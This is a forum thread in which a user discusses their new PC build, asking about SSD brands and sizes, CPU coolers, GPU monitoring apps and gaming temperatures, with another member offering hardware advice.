"warc_info": "isPartOf: CC-MAIN-2020-29\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-67.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
150,
151,
220,
221,
244,
245,
261,
285,
360,
416,
418,
472,
535,
597,
669,
700,
702,
748,
825,
827,
829,
833,
868,
902,
974,
976,
996,
998,
1012,
1015,
1020,
1082,
1099,
1106,
1128,
1131,
1134,
1205,
1240
],
"line_end_idx": [
150,
151,
220,
221,
244,
245,
261,
285,
360,
416,
418,
472,
535,
597,
669,
700,
702,
748,
825,
827,
829,
833,
868,
902,
974,
976,
996,
998,
1012,
1015,
1020,
1082,
1099,
1106,
1128,
1131,
1134,
1205,
1240,
1269
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1269,
"ccnet_original_nlines": 39,
"rps_doc_curly_bracket": 0.0015760400565341115,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2510460317134857,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.01673639938235283,
"rps_doc_frac_lines_end_with_ellipsis": 0.02500000037252903,
"rps_doc_frac_no_alph_words": 0.35564854741096497,
"rps_doc_frac_unique_words": 0.7207792401313782,
"rps_doc_mean_word_length": 6.253246784210205,
"rps_doc_num_sentences": 17,
"rps_doc_symbol_to_word_ratio": 0.029288699850440025,
"rps_doc_unigram_entropy": 4.524975299835205,
"rps_doc_word_count": 154,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.11838006228208542,
"rps_doc_frac_chars_dupe_6grams": 0.11838006228208542,
"rps_doc_frac_chars_dupe_7grams": 0.11838006228208542,
"rps_doc_frac_chars_dupe_8grams": 0.11838006228208542,
"rps_doc_frac_chars_dupe_9grams": 0.11838006228208542,
"rps_doc_frac_chars_top_2gram": 0.031152650713920593,
"rps_doc_frac_chars_top_3gram": 0.04361370950937271,
"rps_doc_frac_chars_top_4gram": 0.039460018277168274,
"rps_doc_books_importance": -85.0745620727539,
"rps_doc_books_importance_length_correction": -85.0745620727539,
"rps_doc_openwebtext_importance": -60.48134231567383,
"rps_doc_openwebtext_importance_length_correction": -60.48134231567383,
"rps_doc_wikipedia_importance": -38.41378402709961,
"rps_doc_wikipedia_importance_length_correction": -38.41378402709961
},
"fasttext": {
"dclm": 0.6750600337982178,
"english": 0.714645266532898,
"fineweb_edu_approx": 1.1261587142944336,
"eai_general_math": 0.0023377500474452972,
"eai_open_web_math": 0.33687084913253784,
"eai_web_code": 0.000057699999160831794
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "1",
"label": "Leftover HTML"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "1",
"label": "Truncated Snippets"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-3,123,431,183,161,294,000 | Ming-Tang Ming-Tang - 1 year ago 75
Node.js Question
How do you extract POST data in Node.js?
How do you extract form data (
form[method="post"]
) and file uploads sent from the HTTP
POST
method in Node.js?
I've read the documentation, googled and found nothing.
function (request, response) {
//request.post????
}
Is there a library or a hack?
Answer Source
If you use Express (high-performance, high-class web development for Node.js), you can do this:
HTML:
<form method="post" action="/">
<input type="text" name="user[name]">
<input type="text" name="user[email]">
<input type="submit" value="Submit">
</form>
JavaScript:
app.use(express.bodyParser());
app.post('/', function(request, response){
console.log(request.body.user.name);
console.log(request.body.user.email);
});
UPDATED on 1/June/2016:
Method above is deprecated use now:
/** bodyParser.urlencoded(options)
* Parses the text as URL encoded data (which is how browsers tend to send form data from regular forms set to POST)
* and exposes the resulting object (containing the keys and values) on req.body
*/
app.use(bodyParser.urlencoded({
extended: true
}));
/**bodyParser.json(options)
* Parses the text as JSON and exposes the resulting object on req.body.
*/
app.use(bodyParser.json());
app.post("/", function (req, res) {
console.log(req.body.user.name)
});
See also | {
"url": "https://codedump.io/share/cwLZuUCM1wNx/1/how-do-you-extract-post-data-in-nodejs",
"source_domain": "codedump.io",
"snapshot_id": "crawl=CC-MAIN-2017-47",
"warc_metadata": {
"Content-Length": "42132",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:BVF3EJSHVO3T5NYSHWRE75KUDLBBR4AH",
"WARC-Concurrent-To": "<urn:uuid:6e073c06-9972-42f3-a800-d64416ab7446>",
"WARC-Date": "2017-11-24T11:48:15Z",
"WARC-IP-Address": "50.112.74.85",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:LW2KQAHZRX4WJEILFI5OY5SIPFOD4WRJ",
"WARC-Record-ID": "<urn:uuid:bb272458-987c-4c4a-ac6c-f3a56cecab2a>",
"WARC-Target-URI": "https://codedump.io/share/cwLZuUCM1wNx/1/how-do-you-extract-post-data-in-nodejs",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:04c4b051-0f55-4279-9e68-0f709c672c45>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-236-168-78.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-47\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for November 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
36,
53,
54,
95,
96,
127,
128,
148,
186,
191,
210,
211,
267,
268,
299,
318,
320,
321,
322,
352,
353,
367,
368,
464,
465,
471,
472,
504,
546,
589,
630,
638,
639,
651,
652,
683,
684,
727,
768,
810,
814,
815,
839,
840,
876,
877,
912,
1029,
1110,
1114,
1146,
1165,
1170,
1171,
1199,
1272,
1276,
1304,
1305,
1341,
1377,
1381,
1382
],
"line_end_idx": [
36,
53,
54,
95,
96,
127,
128,
148,
186,
191,
210,
211,
267,
268,
299,
318,
320,
321,
322,
352,
353,
367,
368,
464,
465,
471,
472,
504,
546,
589,
630,
638,
639,
651,
652,
683,
684,
727,
768,
810,
814,
815,
839,
840,
876,
877,
912,
1029,
1110,
1114,
1146,
1165,
1170,
1171,
1199,
1272,
1276,
1304,
1305,
1341,
1377,
1381,
1382,
1390
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1390,
"ccnet_original_nlines": 63,
"rps_doc_curly_bracket": 0.0057553998194634914,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.17058824002742767,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.026470590382814407,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.38235294818878174,
"rps_doc_frac_unique_words": 0.6645569801330566,
"rps_doc_mean_word_length": 6.227848052978516,
"rps_doc_num_sentences": 36,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.493203163146973,
"rps_doc_word_count": 158,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.056910570710897446,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.010162600316107273,
"rps_doc_frac_chars_top_3gram": 0.016260160133242607,
"rps_doc_frac_chars_top_4gram": 0.030487800016999245,
"rps_doc_books_importance": -152.53070068359375,
"rps_doc_books_importance_length_correction": -152.5113525390625,
"rps_doc_openwebtext_importance": -91.71146392822266,
"rps_doc_openwebtext_importance_length_correction": -91.71146392822266,
"rps_doc_wikipedia_importance": -94.09321594238281,
"rps_doc_wikipedia_importance_length_correction": -91.82779693603516
},
"fasttext": {
"dclm": 0.9862064719200134,
"english": 0.6277945637702942,
"fineweb_edu_approx": 2.878364086151123,
"eai_general_math": 0.7127565741539001,
"eai_open_web_math": 0.25672411918640137,
"eai_web_code": 0.6621065735816956
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.028",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "18",
"label": "Q&A Forum"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-6,956,753,208,507,469,000 | Math Is Fun Forum
Discussion about math, puzzles, games and fun. Useful symbols: ÷ × ½ √ ∞ ≠ ≤ ≥ ≈ ⇒ ± ∈ Δ θ ∴ ∑ ∫ π -¹ ² ³ °
You are not logged in.
#1 2012-12-28 01:07:17
pellerinb
Member
Registered: 2012-12-26
Posts: 43
GCD(sum_(i=1 to N) i!, sum_(i=1 to N+1) i!) = 99 for N >= 10
Just curious if anyone else has observed this. I have found it true up to N = 1 million.
GCD(sum_(i=1 to N) i!, sum_(i=1 to N+1) i!) = 99 for N >= 10
I'm thinking it might be easy to prove this too... I'm not sure though.
Prime numbers have got to be the neatest things; they are like atoms. Composites are two or more primes held together by multiplication.
In biology, we use math like we know what we are talking about. Sad isn't it.
Offline
#2 2012-12-31 00:32:49
Agnishom
Real Member
From: The Complex Plane
Registered: 2011-01-29
Posts: 17,187
Website
Re: GCD(sum_(i=1 to N) i!, sum_(i=1 to N+1) i!) = 99 for N >= 10
The question seems interesting, could you please make it clear with latex?
'And fun? If maths is fun, then getting a tooth extraction is fun. A viral infection is fun. Rabies shots are fun.'
'God exists because Mathematics is consistent, and the devil exists because we cannot prove it'
'You have made another human being happy. There is no greater accomplishment.' -bobbym
Offline
#3 2012-12-31 00:55:56
pellerinb
Member
Registered: 2012-12-26
Posts: 43
Re: GCD(sum_(i=1 to N) i!, sum_(i=1 to N+1) i!) = 99 for N >= 10
I don't know how to input latex into this forum but I can tell you that if you enter 'sum_(i=1)^10 i! ; sum_(i=1)^11 i!' without quotes into the Wolfram|Alpha website or iPhone/iPad app, you will see the desired equations and their GCD.
Prime numbers have got to be the neatest things; they are like atoms. Composites are two or more primes held together by multiplication.
In biology, we use math like we know what we are talking about. Sad isn't it.
Offline
#4 2012-12-31 02:44:33
muxdemux
Member
Registered: 2012-12-23
Posts: 80
Re: GCD(sum_(i=1 to N) i!, sum_(i=1 to N+1) i!) = 99 for N >= 10
Latex here:
Offline
Board footer
Powered by FluxBB | {
"url": "http://www.mathisfunforum.com/viewtopic.php?pid=246339",
"source_domain": "www.mathisfunforum.com",
"snapshot_id": "crawl=CC-MAIN-2014-42",
"warc_metadata": {
"Content-Length": "11586",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:IWYALKG4VAYKERWMRZIP2HUYEVBM2IQ6",
"WARC-Concurrent-To": "<urn:uuid:9f926136-2ea8-4af2-9322-90ad7de01503>",
"WARC-Date": "2014-11-01T11:57:24Z",
"WARC-IP-Address": "72.52.184.177",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:WUNJNU5BAY2MLU5KUEAB4C2KZWBTXDHC",
"WARC-Record-ID": "<urn:uuid:6d62d0e3-1111-47cb-948c-3fd5c628ab2a>",
"WARC-Target-URI": "http://www.mathisfunforum.com/viewtopic.php?pid=246339",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:d46c1312-65df-4a63-a9f7-6b823ff8eaa6>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-16-133-185.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-42\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for October 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
18,
134,
135,
158,
159,
182,
183,
193,
200,
223,
233,
234,
295,
296,
385,
386,
448,
449,
521,
522,
523,
660,
738,
739,
747,
748,
771,
772,
781,
793,
817,
840,
854,
862,
863,
928,
929,
1004,
1005,
1006,
1122,
1218,
1305,
1306,
1314,
1315,
1338,
1339,
1349,
1356,
1379,
1389,
1390,
1455,
1456,
1693,
1694,
1695,
1832,
1910,
1911,
1919,
1920,
1943,
1944,
1953,
1960,
1983,
1993,
1994,
2059,
2060,
2072,
2073,
2081,
2082,
2095,
2096
],
"line_end_idx": [
18,
134,
135,
158,
159,
182,
183,
193,
200,
223,
233,
234,
295,
296,
385,
386,
448,
449,
521,
522,
523,
660,
738,
739,
747,
748,
771,
772,
781,
793,
817,
840,
854,
862,
863,
928,
929,
1004,
1005,
1006,
1122,
1218,
1305,
1306,
1314,
1315,
1338,
1339,
1349,
1356,
1379,
1389,
1390,
1455,
1456,
1693,
1694,
1695,
1832,
1910,
1911,
1919,
1920,
1943,
1944,
1953,
1960,
1983,
1993,
1994,
2059,
2060,
2072,
2073,
2081,
2082,
2095,
2096,
2113
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2113,
"ccnet_original_nlines": 78,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.27591973543167114,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.04849497973918915,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.4314381182193756,
"rps_doc_frac_unique_words": 0.5121293663978577,
"rps_doc_mean_word_length": 4.051212787628174,
"rps_doc_num_sentences": 35,
"rps_doc_symbol_to_word_ratio": 0.008361199870705605,
"rps_doc_unigram_entropy": 4.913463115692139,
"rps_doc_word_count": 371,
"rps_doc_frac_chars_dupe_10grams": 0.3379907011985779,
"rps_doc_frac_chars_dupe_5grams": 0.39121755957603455,
"rps_doc_frac_chars_dupe_6grams": 0.39121755957603455,
"rps_doc_frac_chars_dupe_7grams": 0.3379907011985779,
"rps_doc_frac_chars_dupe_8grams": 0.3379907011985779,
"rps_doc_frac_chars_dupe_9grams": 0.3379907011985779,
"rps_doc_frac_chars_top_2gram": 0.011976050212979317,
"rps_doc_frac_chars_top_3gram": 0.0365934781730175,
"rps_doc_frac_chars_top_4gram": 0.03992015868425369,
"rps_doc_books_importance": -250.24472045898438,
"rps_doc_books_importance_length_correction": -250.24472045898438,
"rps_doc_openwebtext_importance": -105.88687896728516,
"rps_doc_openwebtext_importance_length_correction": -105.88687896728516,
"rps_doc_wikipedia_importance": -90.49691009521484,
"rps_doc_wikipedia_importance_length_correction": -90.49691009521484
},
"fasttext": {
"dclm": 0.04716784134507179,
"english": 0.8947814702987671,
"fineweb_edu_approx": 1.645439863204956,
"eai_general_math": 0.4374213218688965,
"eai_open_web_math": 0.41200965642929077,
"eai_web_code": 0.00020080999820493162
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "512.7",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Algebra"
}
},
"secondary": {
"code": "510",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-2,843,798,480,888,600,000 | Anfang des InhaltsbereichsInterne Tabellen anlegen Dokument im Navigationsbaum lokalisieren
Wie die anderen Elemente des ABAP-Typkonzepts, können interne Tabellen zuerst als abstrakter Datentyp im Programm oder ABAP Dictionary und dann darauf basierend als Datenobjekt definiert werden oder sie werden direkt als vollständig spezifiziertes Datenobjekt deklariert. Beim Anlegen von internen Tabellen als Datenobjekte ist zu beachten, daß damit nur ein zur internen Tabelle gehörige Verwaltungseintrag namens Tabellen-Header statisch vereinbart wird. Die Größe von Tabellen-Headern bei initialen Tabellen beträgt zur Zeit 8 Byte. Dies ist zu beachten, wenn interne Tabellen als Komponenten komplexer Datenobjekte vorkommen. Auch leere Tabellen können als Komponenten von Tabellen zu relativ hohen Speicherplatzbedarf führen. Die Größe des gesamten benötigten Speicherplatzes einer internen Tabelle wird wie bei Datenobjekten vom Typ STRING oder XSTRING nicht bei der Deklaration festgelegt. Die eigentlichen Tabellenzeilen werden zur Laufzeit durch operationale Füll-Anweisungen dynamisch erzeugt oder durch Lösch-Anweisungen wieder entfernt.
Interne Tabellentypen
Interne Tabellenobjekte
Ende des Inhaltsbereichs | {
"url": "https://help.sap.com/doc/saphelp_470/4.7/de-DE/fc/eb3660358411d1829f0000e829fbfe/content.htm?no_cache=true",
"source_domain": "help.sap.com",
"snapshot_id": "crawl=CC-MAIN-2022-27",
"warc_metadata": {
"Content-Length": "9535",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:RKQPSNXWQD32MK5L65PJ444ROZQQGIG7",
"WARC-Concurrent-To": "<urn:uuid:1f010ff7-b918-4498-b872-61375f1f583e>",
"WARC-Date": "2022-06-25T10:39:33Z",
"WARC-IP-Address": "104.108.114.130",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:RG32JT2H6JHKNYVVQMHXRWCWVKCM5EFP",
"WARC-Record-ID": "<urn:uuid:d72b6bc3-5ba2-4b1b-9b31-697b69a71680>",
"WARC-Target-URI": "https://help.sap.com/doc/saphelp_470/4.7/de-DE/fc/eb3660358411d1829f0000e829fbfe/content.htm?no_cache=true",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:9760ce90-1c26-4e92-a893-083912cf633f>"
},
"warc_info": "isPartOf: CC-MAIN-2022-27\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June/July 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-103\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
92,
93,
1142,
1143,
1145,
1146,
1168,
1169,
1193,
1194
],
"line_end_idx": [
92,
93,
1142,
1143,
1145,
1146,
1168,
1169,
1193,
1194,
1218
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1218,
"ccnet_original_nlines": 10,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.023391809314489365,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.09356725215911865,
"rps_doc_frac_unique_words": 0.6821191906929016,
"rps_doc_mean_word_length": 7,
"rps_doc_num_sentences": 8,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.45867395401001,
"rps_doc_word_count": 151,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.028382210060954094,
"rps_doc_frac_chars_top_3gram": 0.02459792047739029,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -68.64326477050781,
"rps_doc_books_importance_length_correction": -68.64326477050781,
"rps_doc_openwebtext_importance": -55.69673156738281,
"rps_doc_openwebtext_importance_length_correction": -55.69660568237305,
"rps_doc_wikipedia_importance": -32.355072021484375,
"rps_doc_wikipedia_importance_length_correction": -32.355072021484375
},
"fasttext": {
"dclm": 0.8111507892608643,
"english": 0.00039639000897295773,
"fineweb_edu_approx": 1.7842066287994385,
"eai_general_math": 0.008427799679338932,
"eai_open_web_math": 0.6811885237693787,
"eai_web_code": 0.782921552658081
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.436",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.435",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
8,494,606,115,058,728,000 |
1. Check out our companion app, Forums for Android! Download from Google Play
Q's about my rig- Backups
Discussion in 'Computers & IT' started by Mehta23, Oct 8, 2012.
1. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
I heard OCZ are good? 120gb for £75.
Clients...i guess you build and sell Pc's. I'd love to get into this, but its high cost and not many people would trade with a "kid".
Advertisement
2. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
I've found the evga precision app for android, but it connects via Bluetooth
Would any Bluetooth card just slot into my motherboard and work with my phone?
. Is the app even worth that?
3. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
In addition to the Bluetooth, I'm looking at the CM hyper 212 CPU cooler which has reduced from the increased £29 to £25.
Reckon it'll get much lower?
4. Rolo42
Rolo42 Well-Known Member
103
Mar 23, 2012
712
118
103
Male
Retired Electronics, Computer, Network Engineer
Greensboro, NC
- OCZ is junk
- I don't see the use for an Android app; there's a regular Win version and MSI Afterburner is another alternative
- Just about any aftermarket cooler would be an improvement but if the quid could be put towards anything else, do so as improved cooling only matters if the stock one isn't enough (you utilise the CPU to the point that it down-clocks). I've built a few 4.2GHz i5's that run on stock coolers and it only down-clocks during burn-in tests; the users don't do anything that demanding (incl. gaming)
- Yes, I've been selling custom-built PCs/small business networks since the mid nineties. I only do it on occasion these days and only by referral
Mehta23 likes this.
5. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
Thanks again Rolo for yet another brilliant reply.
At the moment the only other thing I need is a keyboard and mouse. Cooling was to reduce temps if i (needed to) overclock. At the moment everything is pretty fine. Haven't intensely gamed or edited to know...
Here, Mushkin doesn't seem to be that big.... But what's wrong with Ocz?
6. Rolo42
Rolo42 Well-Known Member
103
Mar 23, 2012
712
118
103
Male
Retired Electronics, Computer, Network Engineer
Greensboro, NC
Mushkin has been around for many years with a solid track record; I still have their PC-166 (PC-133 OC) in my Win95 machine. Wife & I have their DDR3-2133 @ 1.5v in our current desktops and they were cheaper than anyone else and at lower voltage.
I put their (Edit) Chronos SSD in client builds and wished I had put it in our builds (wasn't available at the time, SF-22xx controversy as well). (Client builds also serve as a testing ground for my builds.)
7. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
Yeah , I couldn't find many of their products on Amazon, but it is on ebay and LambaTek :)
Reckon they'll go down in price by Xmas?
8. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
Thanks again to Rolo, I managed to get CPu-Z up and running .
[IMG]
9. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
Finally started my first-ish gaming session. 15 minutes of Just Cause 2. My 670 holds the frame rate between 59-60 and if I properly max the AA its the same, although it dropped twice to 45.
After 15 minutes and a minute of the benchmark my GPU was at 43° and CPU at 45°, so not bad temps.
The fans on the card haven't gone over 35% but they get loud at 50 and LOUD/NOISY approaching full. Sounds like a mechanical washing machine noise sorta thing.... :p
Really impressed with it. Just need a good mouse to go with it.
10. Rolo42
Rolo42 Well-Known Member
103
Mar 23, 2012
712
118
103
Male
Retired Electronics, Computer, Network Engineer
Greensboro, NC
If you're staying at 60FPS and your game's settings are maxed, use nVidia control panel to override some settings with higher values.
Mehta23 likes this.
11. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
I have, and still 59.2-60.1 in borderlands 2!
I know you've recommend Mushkin, but how are SanDisk?
Also, what should be the size I get? I've seen 60gb for £40 and 120gb for £70. Higher than that is still expensive.
12. Mehta23
Mehta23 Well-Known Member
Thread Starter
173
Bought a pack off Amazon for a mere
13. Rolo42
Rolo42 Well-Known Member
103
Mar 23, 2012
712
118
103
Male
Retired Electronics, Computer, Network Engineer
Greensboro, NC
Let me know how the cleaners work; I think I can do better than what I have currently.
re: SSD size. Are you going to use SRT caching (highly recommended). If so, how big? (it can go up to 64GB, leaving 55GB formatted capacity free on a 120/128GB SSD).
I have 64GB cache, 55GB Windows boot and system partitions (system reserved and C:) and some program files installed to the SSD. This keeps the cache clear of OS/frequently used files and ensures a killer boot-up time (not that the latter really matters but attests to the responsiveness to expect).
